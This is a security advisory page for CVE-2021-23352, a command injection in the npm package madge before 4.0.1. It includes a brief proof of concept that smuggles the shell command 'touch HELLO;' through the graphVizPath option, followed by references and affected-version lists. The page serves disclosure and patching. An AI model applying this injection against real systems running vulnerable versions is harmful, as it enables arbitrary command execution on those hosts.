Ecosyste.ms: Advisories
An open API service providing security vulnerability metadata for many open source software ecosystems.
Security Advisories: MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTc1M2MtcGhoZy1jajI5
Madge vulnerable to command injection
This affects the package madge before 4.0.1. It is possible to specify a custom Graphviz path via the graphVizPath option parameter which, when the .image(), .svg() or .dot() functions are called, is executed by the childprocess.exec function.
PoC
const madge = require('madge');
madge('..', {graphVizPath: "touch HELLO;"}) .then((res) => res.svg()) .then((writtenImagePath) => { console.log('Image written to ' + writtenImagePath); });
Permalink: https://github.com/advisories/GHSA-753c-phhg-cj29JSON: https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTc1M2MtcGhoZy1jajI5
Source: GitHub Advisory Database
Origin: Unspecified
Severity: High
Classification: General
Published: over 3 years ago
Updated: about 1 year ago
Identifiers: GHSA-753c-phhg-cj29, CVE-2021-23352
References:
- https://nvd.nist.gov/vuln/detail/CVE-2021-23352
- https://github.com/pahen/madge/commit/da5cbc9ab30372d687fa7c324b22af7ffa5c6332
- https://snyk.io/vuln/SNYK-JS-MADGE-1082875
- https://github.com/pahen/madge/blob/master/lib/graph.js#L27
- https://github.com/advisories/GHSA-753c-phhg-cj29
Blast Radius: 0.0
Affected Packages
npm:madge
Dependent packages: 1,000Dependent repositories: 9,353
Downloads: 2,275,591 last month
Affected Version Ranges: < 4.0.1
Fixed in: 4.0.1
All affected versions: 0.0.1, 0.0.2, 0.0.4, 0.0.5, 0.1.0, 0.1.1, 0.1.2, 0.1.3, 0.1.4, 0.1.5, 0.1.6, 0.1.7, 0.1.8, 0.1.9, 0.2.0, 0.3.0, 0.3.1, 0.3.4, 0.3.5, 0.4.1, 0.5.0, 0.5.1, 0.5.2, 0.5.3, 0.5.4, 0.5.5, 0.6.0, 1.0.0, 1.1.0, 1.2.0, 1.3.0, 1.3.1, 1.3.2, 1.4.0, 1.4.1, 1.4.2, 1.4.3, 1.4.4, 1.4.5, 1.4.6, 1.5.0, 1.6.0, 2.0.0, 2.1.0, 2.2.0, 3.0.0, 3.0.1, 3.1.0, 3.1.1, 3.2.0, 3.3.0, 3.4.0, 3.4.1, 3.4.2, 3.4.3, 3.4.4, 3.5.0, 3.5.1, 3.6.0, 3.7.0, 3.8.0, 3.9.0, 3.9.1, 3.9.2, 3.10.0, 3.11.0, 3.12.0, 4.0.0
All unaffected versions: 4.0.1, 4.0.2, 5.0.0, 5.0.1, 5.0.2, 6.0.0, 6.1.0, 7.0.0, 8.0.0